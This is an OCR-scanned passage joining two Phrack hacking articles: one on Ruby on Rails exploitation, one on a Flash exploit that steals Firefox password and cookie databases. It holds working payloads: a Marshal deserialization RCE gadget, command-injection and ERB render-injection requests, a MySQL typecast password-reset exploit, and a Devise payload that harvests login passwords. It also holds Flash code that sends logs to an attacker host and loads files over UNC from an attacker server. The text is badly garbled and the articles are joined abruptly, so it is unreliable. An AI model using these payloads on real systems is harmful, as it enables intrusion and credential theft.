ActiveSupport: :Deprecation: :DeprecatedInstanceVariableProxy which is 
defined as the following: 


class DeprecatedInstanceVariableProxy < DeprecationProxy 


def initialize(instance, method, var = "@#{method}", 
deprecator = ActiveSupport::Deprecation.instance) 
@instance = instance 
@method = method 
@var = var 
@deprecator = deprecator 
end 
private 
def target 
@instance.__send__(@method) 
end 


def warn(callstack, called, args) 

@deprecator.warn ( 
"#{@var} is deprecated! Call #{@method}.#{called} instead of " + 
"#{@var}.#{called}. Args: #{args.inspect}", callstack) 


end 
end 


DeprecatediInstanceVariableProxy again inherits from DeprecationProxy, which 
defines the following interesting method: 


def method_missing(called, *args, &block) 
warn caller, called, args 
target.__send__(called, *args, &block) 
end 
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as well as undefines some methods: 


instance_methods.each { |m| undef_method m 
unless m =" /*__|*object_id$/ } 


H 


nside this DeprecatedInstanceVariableProxy an ERB object is placed asA 
"instance", and "method" is set to "result". ERB stands for embedded Ruby 
nd is in RoR to have HTML templates including Ruby code, so basically ERB 


a 
is used for the views in a Rails application. The "src" variable for this 
ce 


ERB object is an arbitrary string of Ruby code. After deserialization and 
onstruction of the two nested objects the following will happen: 


The above mentioned interesting method called method_missing is an 
expression of Ruby magic. When an object defines a method_missing this 
method will be called whenever a method on the object is called which does 
not exist (is missing). 


As soon as any method on the deserialized object is called, this will be 
passed to "method_missing" as (almost) all instance methods have been 
undefined. "method_missing" will now first call "warn" and afterwards call 
target which will send the method "result" to the ERB object. "result" will 
interpret and the code attached in the ERB object as "src". 


The following irb snippet demonstrates this behavior: 


1.9.3p194 :001 > require 'rails/all’ 

=> true 

1.9.3p194 :002 > Marshal.load ( 

"\u0004\bo: @ActiveSupport: :Deprecation: :DeprecatedInstanceVariableProxy"+ 
"\a:\u000E@instanceo: \bERB\u0006:\t@srcI\"\u0018eval (’puts \"ohai\"’) "+ 
"\u0006: \u0006ET: \f@method: \vresult") 

ohai 

=> nil 


Credits for the above technique go to Charlie Somerville. 


Since Rails 4.1 this vector is not usable anymore, due to the fact that 
JSON encoding is used to serialize the session. Actually thats not entirely 
true, as there is of course backward compatibility for legacy session 
cookies. Those legacy cookies are taken into account if in a Rails App >= 
Version 4.1 a secret_token is defined together with the new 
secret_key_base. Or if there is only a secret_token but no secret_key_base, 
which might be the case if you upgrade your App from Rails 3.something to 
4.1 or later. You can tell that you’re dealing with a legacy cookie if the 
cookie value starts with "BAh" which Base64 decodes to the Marshal header. 


If the session’s secret is not known, there is still some room to fail, so 
for example let’s say an appliance by BigVendor has a RoR Webinterface, and 
additionally stores the currently logged in users’ ID in the session. Now 
the BigVendor has a little problem if the session secret is the same on all 
appliances. If user admin A of appliance A’ has a session cookie for it’s 
user_id 1 on A’, it’s a legit session cookie for appliance B’ where admin B 
has user_id 1 as well (the ID is typically incremental starting from 1 and 
admin is usually created first). To paraphrase this: "What has been HMACed 
cannot be un-HMACED". 


--[ 2.2 - to_json / to_xml 


Within Rails the scaffolding process generates automatic XML and JSON 
renderers. Those include by default all attributes of the model. A neat 
showcase for this behavior is documented in [3] where a simple 
authenticated request of http://demo.fatfreecrm.com/users/1.json yielded 
the following json output: 


{ 


"user": { 
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"admin": true, 

wacme Le 

Walt vemail™s: 

"company": "example", 

"created_at™: "2012-02-12T02:00:00+02:00", 
"current_login_at": "2013-08-26T22:12:05+03:00", 
"current_login_ip": "61.143.60.146", 
"deleted_at": null, 
"email": "aaron@example.com", 
"first_name": "Aaron", 
"google" : oo" wie 

"id": Tey 
"lLast_login_at": "2013-08-24T22:20:06+03:00", 
"last. loginaaps "120.1 73.185...99", 

"last_name": "Assembler", 

"last_request_at": "2013-08-26T22:13:35+03:00", 
"login_count": 481, 
"mobile": "(800)555-1211", 
"password_hash": "{...]", 
"password_salt": "({...]", 
"perishable_token": "NEOn6wUCumVNdQ24ahRu", 
"persistence_token": "...", 

"phone": "(800)555-1210", 
"single_access_token": "TarXlrOPfaokNOz1s2U8", 
"Skype": "ranzitreddy", 

"suspended_at": null, 

"title": "VP of Sales", 

"updated_at": "2013-08-267T22:13:351+03:00", 
"username": "aaron", 

"yahoo": wee 


} 


The format parameter could, depending on the actual app’s routes be either 
just a appended .json/.xml or a query parameter "format=json"/"format=xml" 
within the URL. 


In some rarely but seen in the wild cases there ar ven "format=js" 
renderes which yield vulnerabilities. Imagine a user’s inbox at: 


http://some.host/inbox/messages 


When here the JavaScript renderer emits e.g. JQuery framgents like: 


S("#messages") .hmtl("here goes the user’s inbox") 
We just might include 
<script src="http://some.host/inbox/messages?format=js"></script> 


on a third party website and leak the users’ inbox. This is pretty much the 
same concept like a JSONP leak. 


--[ 2.3 - Code / Command Execution 


Now off to the real fun: different ways to execute your code on other 
people’s web servers. 


--[ 2.3.1 - Classical OS Command Injection 


The classical command injection patterns of course also apply to Ruby on 
Rails applications. 


Things to watch out for include: 
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* ‘command * 

* %Sx/command/ 

* TO.popen (command) 

* Kernel.exec 

* Kernel.system 

* Kernel.open("| command") 


This list is not complete in any way, as there are many other Rubygems 
implementing wrappers around those functions (also maybe I’ve just missed 
for instance open3 in this list). As the average Phrack reader should be 
pretty familiar with the concept of OS command injection flaws we do not 
bother to further elaborate on this type of issue ;P. 


A little sidenote on Kernel.open(): when the first character in the 
argument to Kernel.open is a pipe, the method basically behaves like popen. 
And the rest of the string after the pipe is taken as a command line. 


--[ 2.3.2 - eval(user_input) and Friends 


Things get a bit more interesting when it comes to RoR constructs which end 
up in eval()ing user input. Here, due to Rubys’ endless possibilities of 

dynamic programming and monkey patching, things get a bit more interesting. 
Hints on how to utilize in-framework code execution are given in section 4. 


With the following methods we can evalute nifty payloads within the apps’ 
runtime/environment: 


* eval 

within the current context 
* instance_eval 

within the context of the current instance of a class 
* class_eval 

within the context of a class itself 


In occurrences of such in-framework evaluation of attacker-given inputs, 
we can pretty much redefine and access anything within the application. 


--[ 2.3.3 Indirections 


Another fun thing when it comes to monkey patching and dynamic (hooray!) 
programming are indirections introduced by calling one of the following 
methods on user input: 


* send 

* __ send__ 

* public_send 

* try 

What send et.al. do is calling a method denoted by the first parameter, 
which might be a string or a symbol, and passing the further arguments to 
the called method. 


So imagine (this is actually not too imaginary [4]) the following 
construct: 


send(params[:a],params[:b]) 


Easy enough we can turn this into in-Framework RCE by supplying: 


a=evaléb=whateverS20ruby%20code%20weS201like 


The main differences between the above listed methods are: 


* send and __send__: none 
* send and try: try is defined within Rails and just silently drops all 
exceptions which might occur 
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* public_send will only call public methods on an object 


The limitation of public_send however can be bypassed as send itself is 
public: 


irb (main) :002:0> "".public_methods.grep /send/ 
=> [:send, :public_send, :__send__] 


The above construction of having at least two, and most importantly the 
first argument to __send__ under control however is rather rare. Mostly 
you will s the code lik 


Thing.send(:hard_coded_method_name, params[someparam] ) 


As the method to be called is hard coded we cannot leverage arbitrary code 
execution unfortunately. 


--[ 2.4 - Mass assignments 


Mass assignments were a pretty popular exploit target in Rails 3. The 
underlying concept is, that the application assigns arbitrary values of the 
model when being saved: 


app/controller/users_controller.rb: 


def update 
@user = User.find(params[:id]) 
respond_to do |format | 
if @user.update_attributes (params[:user]) 


If the User model has e.g. an "admin" attribute any user might promote 
themselves to admin by just posting that attribute towards to the 
application. 


A common malpractice which tries to prevent Mass Assignments is shown in 
the code sample below: 


app/controller/users_controller.rb: 


def update 
@user = User.find(params[:id]) 
params[:user].delete(:admin) # make sure to protect admin flag 
respond_to do |format | 
if @user.update_attributes (params[:user]) 


Lec oi 
Within this controller and the usage of Multiparameter Attributes as 
introduced in section 1.4.2 we can bypass the params[:user].delete(:admin) 
sanitization as with the following payload: 


user [admin(1) ]=true 


As the multiparameter attribute gets parsed in user.update_attributes, the 


protection params[:user].delete(:admin) will not catch the user[admin(l1l) ] 
attribute, allowing us to elevate our privileges. This is simply due to the 
fact that the parameter within the controller will be "admin(1)" as in 


contrast to "admin", the actual assignment of admin(1l) to the admin flag 
happens in the update_attributes call. 


The proper way to prevent attributes from being automatically assigned 
within Rails 3.x would be the usage of attr_accessible to define which 
attributes are whitelisted for mass assignment. 


--[ 2.5 - Regular Expressions 


Ruby has a special handling of regular expressions, the regexps are 
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matching by default in multi-line mode. This is not the case for instance 
in Perl or other programming languages. 


To demonstrate this behavior compare the two command lines below: 


S perl -e '’Sa="foo\nbar"; $a =" /*foo$S/ ? print "match" : \ 
print "no match"’ 

no match 

S ruby -e 'a="foo\nbar"; if a =" /*fooS/; puts "match"; \ 
else puts "no match"; end’ 

match 


The string "foo\nbar" does not match the regular expression /*foo$/ in the 
Perl code snippet, it is matching in the Ruby code snippet. 


The main problem with this regular expression handling is that quite a lot 
of developers are not aware of this subtle difference. This results in 
improper checks and validations. As an example the controller below comes 
close to what can be observed in real world code (the regex is somewhat 
Simplified here): 


class PingController < ApplicationController 


def ping 
if params[:ip] =" /*\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/ 
render :text => ‘ping -c 4 #{params[:ip]}°* 
else 
render :text => "Invalid IP" 
end 
end 
end 


The developer’s expectation is to match only numbers and dots within the 
above IP address validation. But due to the default multi line mode of 
Ruby’s regular expression parser the above check can be circumvented by a 
string like "1.2.3.4.\nsomething". The $ in the above regex would stop at 
\n therefore the above code is command injectable with a simple request 
like this: 


S$ curl localhost:3000/ping/ping -H "Content-Type: application/json" \ 
-=data ("ip" "127.020 999\n any! 


Instead o 
and end o 


using * and $ \A and \z should be used to match the beginning 
the string, rather than the beginning or end of the line. 


Fh Fh 


Another common usecase of this RegEx behavior is the verification of user 
given links. So for instance the RegEx /*https?:\/\// is bypassable by 
supplying a link like: 


"Javascript:alert (’lol’)/*\nhttp://*/" (note the newline) 


When this input is rendered into a href attribute of an anchor tag, we’ve 
gotten a straight froward Cross-Site Scripting. 
--[{ 2.6 Renderers 


The render statement in RoR is used to render different templates or just 
plain text towards the users Browser like: 


render text: "Ohai World!" 
If we are in the lucky postition to see something like this: 


render params[:t] 


We are able to inject ERb content by supplying a parameter t of: 
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t [inline]=<%=‘id*%> 


curl 


‘localhost:3000/?&t\ [inline\]=%3c%2 


5=%601d%60%25%3e" 


This works due to the fact that the render statement takes a hash as 


be in the above case: 


argument which will 


inline: "<%=*‘id‘%>" 


renderer 
to b 


Where the inlin 
user supplied cod 


xpects an 
xecuted. 


--[ 2.7 Routing 


The file config/routes.rb describes which 
which path and HTTP verb, so for instance: 
"user/add" => 


post "users#add_user" 


would expose the method add_user from the 
‘/users/add’ via a Post request. A common 
catch-all route like the following: 


match 


ERb string. 


"scontroller(/:action(/:id))(.:format)’, 


Et voila here we go with 


Controllers are reachable under 


UsersController 
mistake however 


at the path 
is a default 


via: [:get, :post] 


This would expose every public method from every Controller being 


G 
t 


accessible both via 
catch-all route is, 


ET and POST requests. 


The main problem with such a 


as GET requests are 
white-listed within 
two given routes an 


hat it comp] 


t 


assumed to be not state changing, 
he CSRF protection. 


letely subverts the RoR CSRF protection, 
and therefore are 
So in the abov xample with the 


attacker woul 


ld just CSRF something like: 


http://vict.im/user/add?user [name] =haxx0réuser [password] =h4x0rp455& 


user [fadmin]=1 


In order to subvert the CSRF protection which was intended by the ‘post’ 


statement in the routes. 


= 


CVE 


--[ 3 - My favourite techniqu 2013 


This section is dedicated to my favourite 


described in CVE-2013-3221 is a 


The issu 
automagic type conversion in order to 


3221 


RoR attack technique, which was 


initially NOT addressed by issuing CVE-2013-3221. 


neat way to abuse MySQL’s 


.g. 


some Ruby on Rails applications (i 
CFP Review System [5]). 


Let’s first have a look at MySQL a 


mysql> SELECT 123 FROM dual WHERE 1=1; 
123 
123 
row in set (0.00 sec) 

mysql> SELECT 123 FROM dual WHERE 1="1"; 
123 
123 
row in set (0.00 sec) 


reset arbitrary passwords within 


ncluding but not limited to the BlackHat 


nd how it compares numbers to strings: 
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mysql> SELECT 123 FROM dual WHERE 1="lsomestring"; 


123 


123 


row in set, 1 warning (0.00 sec) 


Do 


mysql> SELECT 123 FROM dual WHERE 1="somestring"; 
Empty set, 1 warning (0.00 sec) 


mysql> SELECT 123 FROM dual WHERE O="somestring"; 


123 


123 


row in set, 1 warning (0.00 sec) 


A pretty common technique for password resets in web applications is to 
send out a token via email to the user. This token lets the user reset th 
password right away. 


In Ruby on Rails such a reset process would roughly look like this: 


# PasswordController 


def reset 
user = User.find_by_token (params [:user] [:token] ) 
if user 
#reset password here 
end 
end 


Such a token like the one pulled out of params in the code above typically 
is a random string, for now let’s just assume this string is 
"TAmARandomToken". Given the knowledge about the MySQL typecasting plus the 
facts about JSON/XML input described in section 1.1.3 & 1.1.4 we can 
conduct an actual attack on this pattern. 


MySQL would match the string "IAmARandomToken" with the number 0 so a 
possible exploit would look like: 


curl http://phrack.org/password/reset \ 
-H 'Content-Type: application/json’ \ 
--data ’{"user":{"token":0,"pass":"omghaxx", "pass_confirm":"omghaxx"}}’ 


This attack vector got addressed with a security announcement [6] which 
said it will be fixed somewhen later. 


A little anecdote on this issue: 


A couple of days after the advisory the issue was "fixed" in Rails 3.2.12 
as by the following commit [7], no further advisory was released for this 
issue. The fix in 3.2.12 was first of all incomplete due to the fact that 
it was bypassable by POSTing an array of numbers instead of a single 
number. Secondly Rails went back to the original behaviour with the 
release of 3.2.13. 


Indeed the vector is completely fixed as of Rails 4.2 almost two years 
after the original advisory. 


--[ 4 —- Notes on Code Injection Payloads 
The wonderful world of Ruby on Rails gives us, in case of in-framework code 


injection, a lot of toys to play with. As the whole framework is available 
to the attacker its’ whole featureset might be utilized. This starts with 
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very simple but convenient things: 


In 2.1 code execution via unmarshalling of the session cookie was 
elaborated. A very handy data exfiltration technique for small (<4K) 
amounts of data is using the session cookie itself to carry the 
exfiltrated data out [/* Eat this, WAF */]. 


The to-b xecuted payload to use this technique would roughly be the 
following: 


lootit=<<WOOT 
a={} # This will end up as our session object 


a[’loot’] = User.find_by_email ("admin@app.com") .password # Guess what :P 
a # return a as session hash 
WOOT 


= 


The above _string_ then is used in a cookie using the RCE technique from 
2.1. If done all right the response to that cookie will contain another new 
cookie which contains a ’loot’ key which has the value of the requested 
data. 


Anything goes with Ruby: Imagine an app where the passwords are properly 
salted and hashed and streched and whatnot. In order to not waste any GPU 
time for breaking the precious hashes we could instead inject some code 
which re-writes the apps login controller in a way that it will first log 
out all users, and then log all the sent passwords in memory until they are 
fetched by defined request. A PoC for this technique against the devise 
authentication framework is shown in [8]. The main component of it is the 
actual to-be-evaluated payload: 


Devise::SessionsController.class_eval <<DEVISE 
@@passwordsgohere = [] 
@@target_model = nil 
@@triggerword = "22bce2630cb45cbhf£19490371d19a654b01lee537" 
@@secret = 
"1 2TOOnCNPFhWz7a56rmhkilQ8BOgbUw7yLY1++jYNkxAseBT3Q02N+CwShugDBqy" 
def logallthepasswords 
@@target_model= @@target_model || ActiveRecord: :Base.subclasses.collect 
{lc| c if c.methods.include? :devise }.first.model_name.param_key 
if params [@@target_model] 
@@passwordsgohere<< params [@@target_model] 
end 
end 
def leakallthepasswords 
keygen = ActiveSupport: :KeyGenerator.new(@@secret, {:iterations => 1337}) 
nckey = keygen.generate_key(’encrypted hacker’ ) 
Sigkey = keygen.generate_key(’signed encrypted hacker’ ) 
crypter = ActiveSupport::MessageEncryptor.new(enckey, 
sigkey, {:serializer => ActiveSupport::MessageEncryptor::NullSerializer }) 
if Digest::SHAl1.hexdigest (session["session_id"].to_s) == @@triggerword 
render :text => crypter.encrypt_and_sign (JSON.dump (@@passwordsgohere) ) 
@@passwordsgohere = [] 


end 
end 
before_filter :logallthepasswords 
before_filter :leakallthepasswords 
DEVISE 
The above code, when RCEd into a Ruby on Rails application using devise 


will introduce two filters in the apps login Controller, one filter called 
logallthepasswords which keeps every password and username in memory upon 
login. Secondly the leakallthepasswords filter will dump those passwords 
upon seeing a specific session id and flush them from memory. 


Key takeaway here (which does not only apply to RoR applications) is 
actually the fact that we can model our own little application within some 
target app pretty much freely when using eval() or session cookie based 
RCE payloads. Another fun fact about this is the circumstance that the 
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payload will reside in memory. Once the app is shut down your payload is 
gone. And by giving up the persistence we will pretty likely win against 
the forensics guy. 


-—-[ 5 - Greetz and <3 
In no particular order: 
astera, greg (thx for kicking my ass), FX, nowin, fabs, opti, 


tina, matteng, RL, HDM, charliesome, both Bens (M. and T.), 
larryO (Gemkiller). 


The award for endless patience with this little writeup goes to the Phrack 
Staff obviously ;). 
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--[ 0 - Introduction 


The 21st of January was a sad day. A beautiful vulnerability, ZDI-15-007 
[O01], was killed by a person using the alias "bilou". It was one of those 
days that some people had to fire up IDA Pro again and start reversing in 
search of new Odays. Yes, this article will deal with some Adobe Flash 
exploitation, as if the PO circus was not enough already (to which the 
author regrets having taken part by posting comments a couple of times). 


Let’s get this straight, Adobe Flash is indeed high in a security 
researcher’s audit list, and there’s a good reason for that, but all this 
defamation against Adobe’s products, is, obviously well lead by other 
coorporate organizations whose products are not less vulnerable [04]. It’s 
kinda funny how Firefox, for example, #2 in the list of top 50 products by 
total number of distinct vulnerabilities (according to [03]), denies to 
activate a vulnerable Adobe Flash plug-in, listed under #15. How wonderful 
would it be if Flash did the same? Imagine Flash, for example, denying to 
run on shitty browsers [02]. In a security circus where famous security 
researcher celebrities have chosen sides, we suggest that hackers benefit 
from both sides’ idiocy. 


This article will deal with the aforementioned vulnerability. We will show 
how it can be leveraged to disclose, not only sensitive information from a 
sandboxed Adobe Flash process, but other sensitive information from the 
target’s filesystem as well. More specifically, we will focus on how it’s 
possible to steal the Firefox SQLite databases containing stored passwords, 
encryption keys and cookies from a victim’s computer. These passwords, can 
then be used to access the target machine via other means thus allowing one 


13.txt Wed Apr 26 09:43:48 2017 2 


to indirectly, escape the sandbox restrictions imposed by Adobe Flash on 
Firefox. Since our Odays have long stopped working, it’s a good chance for 
us to share our experience with the community. 


This article is organised as follows. The first section deals with how a 
working/debugging environment for Flash development is set up. We believe 
that this will help the interesting reader get started with Adobe Flash 
exploitation and will aid him/her in discovering his/her own Oday 
vulnerabilities. The second section deals with certain problems that may 
arise during client side exploitation and presents simple ActionScript 
tricks that can be used to resolve them. Last but not least, the third 
section analyzes the actual vulnerability and the steps taken to achieve 
arbitrary file stealing by abusing a simple information/memory disclosure 
primitive. 


It should be noted that the code snippets and other information presented 
in the remainder of this article correspond to version 15.0.0.189 of the 
NPAPI release of Adobe Flash Player. The vulnerability is present in older 
versions as well, but the author was unable to find older IDA Pro databases 
in his hard drive :P 


--[ 1 - Preparing a debugging environment 


Before delving into the specifics of ZDI-15-007, let’s have a look at 
preparing the minimal toolset for compiling, running and debugging 
ActionScript code. To avoid using complex commercial IDEs, we will limit 
ourselves to publicly available open source software instead, which is more 
than enough for building SWF objects. The development toolchain for 
ActionScript applications consists of the following components: 


* The FLEX SDK distributed by the Apache Foundation [05] or Adobe [06]. 
You should stick with the first. Just visit the Apache foundation 
homepage and download the automated installer. 


* The runtime targeting the Flash version of interest. Usually named 
"playerglobal.swc". This is automatically downloaded for you by the 
Flex SDK installer. You can always grab the latest version from [17]. 


* Your favorite console editor (vim, emacs, nano, whatever). 


I guess all Phrack readers know how to install stuff, so I’1l leave this as 
an exercise to the reader :P 


As an alternative to the above, one may use Haxe [20]. Haxe allows a 
developer to write code using a strictly typed programming language and 
then compile it, or even cross-compile it, to a set of possible target 
runtimes. Adobe Flash is in the list of supported application runtimes. 
In this article, however, we will stick to the first of the two options, 
but Haxe is also worth exploring from an attacker’s perspectiv 


----[{ 1.1 - Your first AS3 "Hello, World!" 


Fire up your favorite text editor and create a file named "Test.as" with 
the following contents. Just like Java, AS3 source code files are named 
after the public class they declare. 


--- snip --- 
package 
{ 
import flash.display.Sprite; 


public class Test extends Sprite 


{ 


public function Test () 


{ 
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trace("Hello, world! \n"); 


// vim: set syntax=cpp: 


--- snip --- 


Unless you have a vim syntax file for AS3, the last comment will put some 
color in your editor. 


The following is a typical Makefile used to build "Test.swf" from 
"Test.as". Before running ‘make’, make sure you have set ‘SDK_PREFIX’ to 
the directory where you have installed the Flex SDK. 


--- snip --- 
SDK_PREFIX=/var/flex 


MXMLC=S (SDK_PREFIX) /bin/mxmlc 
MXMLC_FLAGS=-compiler.optimize -warnings 


SRCS=Test.as 
BIN=Test.swf 


all: 
S (MXMLC) $(SRCS) $(MXMLC_FLAGS) -output S$ (BIN) 


-PHONY: clean 
clean: 

rm -fr $ (BIN) 
--- snip --- 


Running ‘make’ will generate the required SWF file. 


=—= Snip == 
S make 
~/flex/bin/mxmlc Test.as -compiler.optimize -warnings -output Test.swf 
Loading configuration file ~/flex/frameworks/flex-config.xml 

Test.swf (581 bytes) 

=== ‘snip a= 


----[ 1.2 - Printing output 


Admittedly, the best way of debugging code is printing output (who needs 
‘gdb’ anyway?). The AS3 API provides a function named ‘trace()’ which is 
used to produce debugging messages. However, the messages can only be 
viewed when a debugging version of Adobe Flash Player is used and the SWF 
is run from within Flash Builder Studio. This is bad news; no clients use a 
debugging version of Flash and I prefer spending 50$ for anything other 
than buying Flash Studio :) 


I can think of at least two cases where output messages can be useful: 


* During development; seeing what’s wrong with your exploit is fastest 
way of resolving issues with your code and improving your exploit’s 
reliability. 


* During production; watching clients being owned - priceless :) 


For the first case output messages can be printed directly in the users 
browser. For the second case, logs can be forwarded to a remote log server 
controlled by the attacker. ‘Console’ class, implemented in file 
"Console.as" in the attached exploit, is capable of performing both. The 
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boolean constants ‘LOCAL_DEBUG’ and ‘REMOTE 
logging strategy is used: 


SSS snip..4o- 

public class Console 

{ 
// Print messages to a standard text field. 
private const LOCAL_DEBUG:Boolean = true; 


// Forward messages to remote host. Our tool, named ‘xmlsocketd.py’, is 
// supposed to be waiting there for incoming connections. 

private const REMOTE_DEBUG:Boolean = true; 

private const REMOTE_HOST:String = "1.2.3.4"; 

private const REMOTE_PORT:int = 1234; 


When ‘LOCAL DEBUG’ is set to ‘true’, as shown above, a text field is 
created and logs are written in it. The text field is automatically 
resized and the output scrolls down just like your favorite terminal 
emulator. If ‘REMOTE DEBUG’ is true, an XML socket is used to forward 
messages to a remote machine. 


The attached exploit comes with a simple Python server that receives the 
messages and writes them in a SQLite database. A simple web interface can 
be used to view them. 


--[ 2 - Useful ActionScript classes 


Let’s forget about the actual vulnerability for a moment and let’s focus on 
various problems that may arise during the exploitation process. Each of 
the following sections deals with such a problem and presents a simple 
solution. 


----[ 2.1 - Marking owned clients 


A first problem that may arise when writing AS3 exploits (in fact, during 
client side exploitation in general) is how already exploited clients are 
distinguished from clients on which the exploit failed and clients that are 
targeted for the first time. If for some reason the exploit fails ona 
client, maybe because the Flash Player plug-in crashed because of accessing 
an unmapped memory address for example, it’s good not to run the exploit 
again next time the client in question refreshes the malicious web page. A 
means to achieving this kind of behavior is using some kind of persistent 
information on the client’s side. The two most well known methods are the 
following: 


* Cookies. We all know and kinda love cookies. 
* JavaScript persistent storage APIs 
* HTML5 web storage [07] 


* WebSQL [08]. Nowadays considered obsolete, but some browsers 
still support it 


Even though the mechanisms above can indeed be used as a possible solution, 
they both come with their drawbacks. Cookies are not that reliable (e.g. 
private browsing, cookies being cleaned up when the browser exits), while a 
JavaScript based solution requires some form of communication between the 
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JavaScript code and our Flash exploit. Even though this is possible [09], 
it kind of complicates things. A pure AS3 solution is preferred. 


For the sake of developing the attached Flash exploit, I decided to make 
use of ActionScript’s ‘SharedObject’ class [10]. This API allows for 
managing persistent storage on the clients side directly from the AVM 
engine and it’s as simple as the equivalent JavaScript APIs. An additional 
benefit is that browsers usually don’t clean the, so called, Flash cookies 
and thus marking a client this way may be better and more reliable. 


The logic is implemented in ‘Persistence.as’ and consists of two simple 
methods, namely ‘is_marked()’, for testing wether a client has been marked, 
and ‘mark()’ that uses persistent storage to mark a victim. The code for 
‘is_marked()’ is shown below: 


--- snip --- 
public static function is_marked() :Boolean 
{ 
var ret:Boolean = true; 
var lso:SharedObject = SharedObject.getLocal (Persistence.ID); 


// Tf cookie not present, or more than the specified amount of time has 


// elapsed, the client is not considered marked. 
if(!("time" in lso.data) || 
(new Date()).time - lso.data["time"] >= Persistence. INTERVAL) 
ret = false; 


lso.close(); 
return ret; 


} 


--- snip --- 


The code checks if a cookie with a chosen name, ‘Persistence.ID’, already 
exists in the victims computer. The cookie is supposed to hold the 
timestamp of the last exploit attempt. If more than ‘Persistence. INTERVAL’ 
milliseconds have elapsed since that time, or if the cookie does not exist 
in the victim’s computer, then the client is considered unmarked and the 
exploitation proceeds. Otherwise, th xploit exits immediately. 

Successful exploitation attempts result in the victim being marked, so that 
the malicious SWF is not activated again if the user refreshes th 

container HTML page. 


=S=S-Sni pra s 
public static function mark():void 
{ 
var lso:SharedObject = SharedObject.getLocal (Persistence.ID); 
lso.data["time"] = (new Date()).time; 
lso.flush(); 
lso.close(); 


} 


=S=) Si pi === 


In the attached exploit a client is marked by installing a Flash cookie 
named "cookie". 


----[ 2.2 - Preventing the unresponsive script pop-up from showing up 


As it wil become apparent later, successful exploitation of the analyzed 
vulnerability takes a certain amount of time. It’s important, for example, 
that, until all the required files from the victim’s computer have been 
uploaded to the attacker’s server, the whol xploitation process is not 
interrupted. A common problem, that arises when exploiting 
"olugin-container.exe" processes, is the unresponsive script pop-up shown 
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by Firefox (why this happens is out of the scope of this article). This 
section deals with the aforementioned problem and presents a simple 
solution, implemented in the attached exploit, for avoiding annoying 
browser pop-ups. 


Just like JavaScript, ActionScript has its own implementation of web 
workers, an abstraction over an operating system’s threading mechanism. 
Using web workers allows for running several SWF files in parallel which, 
in turn, allows for executing the main exploitation logic in separate 
thread, thus not keeping the main plug-in thread busy. While the 
exploitation process is carried out in the background, the attacker can, 
for example, present a silly Flash game to the victim to buy some time. 
Embedding an exploit to your favorite porn movie is also a good idea :P 


The exploit’s entry point, which for obvious purposes was named "Main", 
looks like the following: 


--- snip --- 

public class Main extends MovieClip 

{ 
// Array of URIs to worker SWF files; add extra workers here. 
private const workers:Array = new Array ("WorkerMain.swf"); 


public function Main() 


{ 


this._con = new Console(this); 


this._mcv = new Vector.<MessageChannel>(); 


if (Persistence.is_marked() == false) // (1) 


{ 


for each(var swf_url:String in this.workers) 


{ 


this._con.msg("Will now load worker from " + swf_url); 
swf_url += "?rnd="_+ getTimer().toString(16); 

var req:URLRequest = new URLRequest (swf_url); 

var ldr:URLLoader = new URLLoader(); 

ldr.dataFormat = URLLoaderDataFormat.BINARY; 
ldr.addEventListener (Event.COMPLETE, this._on_complete) ; 
ldr.load(req) ; 


} 
else 
this._con.msg("Target is marked"); 
} 
} 


--- snip --- 


At (1), the ‘Persistence’ class (presented in the previous section) is used 
to check if the client has already been successfully exploited from a 
previous run of the exploit. If not, or if this is a new client, the SWF 
files specified in the ‘workers[]’ array are loaded one by one using URL 
requests (the "?rnd=" URL parameter is used for avoiding possible caching 
from the client’s side, a common trick used by scripting languages). Method 
*_on_complete()’ is executed for each worker successfully loaded from its 
corresponding URL. Eventually each worker starts running by calling the 
‘start ()’ method. 


=== Snip === 
private function _on_complete(evt:Event) :void 


{ 


worker.start(); 
this._con.msg("New worker started"); 
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This function will also create a ‘MessageChannel’ instance for each worker, 
so that asynchronous communication with the main thread is possible. In the 
attached exploit, the message channel is used by the workers to forward 
debugging messages to the main thread, who will, in turn, forward them to 
the output stream specified in "Console.as". The relevant code is not 
presented here, as this feature is just a minor, but useful, detail of the 
exploit. 


--[ 3. The bug 


----[ 3.1 Analysis 


TL;DR, the vulnerability lies in method ‘getABRProfileInfoAtIndex()’ of 
class ‘AVSegmentedSource’. Unfortunately, at the time of writing, the 
‘AVSegmentedSource’ API is still undocumented. Any information, that will 
be presented in the following sections, was recovered by reverse 
engineering the ActiveX and NPAPI versions of Adobe Flash. The bug was also 
present in the PPAPI version of Chrome (a.k.a. "pepperflash.dll"), but the 
author didn’t have enough time to investigate further. 


‘AVSegmentedSource’ is the class responsible for HLS playback. According 
to Wikipedia [11]: 


HTTP Live Streaming (also known as HLS) is an HTTP-based media 
streaming communications protocol implemented by Apple Inc. as part of 
its QuickTime, Safari, OS X, and iOS software. It works by breaking the 
overall stream into a sequence of small HTTP-based file downloads, each 
download loading one short chunk of an overall potentially unbounded 
transport stream. As the stream is played, the client may select from 

a number of different alternate streams containing the same material 
encoded at a variety of data rates, allowing the streaming session to 
adapt to the available data rate. 


To start playback, a client has to load a, so called, HLS manifest, which 
is simply an .m3u or .m3u8 (unicode version of .m3u) playlist. Wikipedia 
[11] explains: 


At the start of the streaming session, it downloads an extended M3U 
playlist containing the metadata for the various sub-streams which are 
available. 


The following snippet shows how one can do that programmatically in AS3. 


--- snip --- 
var source:AVSegmentedSource = new AVSegmentedSource(); 
var stream:AVStream = new AVStream(source) ; 


stream.load("C:\\playlist.m3u8") ; 
stream.play(); 
--- snip --- 


People familiar with ActionScript development should have already noticed 
that the path given as the first argument to ‘load()’ is the filename of a 
local file residing in the user’s filesystem (back when I was developing 
this exploit, ‘load()’ failed when a URL was passed to it, maybe this 
problem has been fixed by now). This, however, kind of contradicts the 
sandbox model of Adobe Flash; Flash applications are not allowed to write 
or even read local files. So, how is a SWF movie supposed to load an HLS 
manifest, if it has to write it to the user’s filesystem first? 


Unless ‘load()’ supports URLS in recent versions of Flash Player, playback 
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of HLS streams is not supported on platforms other than Microsoft Windows; 
on Windows systems, one can bypass this limitation by using UNC paths, 
either in the standard "\\server\path" format or using the WebDAV notation 
"\\server@port\path", which, unfortunately, is not supported on Windows 
versions greater than Microsoft Windows 7. An attacker can place an 
arbitrary M3U8 playlist on a SMB/SAMBA server under his or her control and 
have the target client load it as shown below: 


SoS (SNipir == 

// Works on all Microsoft Windows versions. 

stream. load("\\\\1.2.3.4\\exploit\\playlist.m3u8") ; 
stream.play(); 


// Works only on Microsoft Windows 7 and probably XP. 
stream. load("\\\\1.2.3.4@8080\\exploit\\playlist.m3u8") ; 
stream.play(); 

--- snip --- 


As a side note, the author would like to stress the fact that this article 
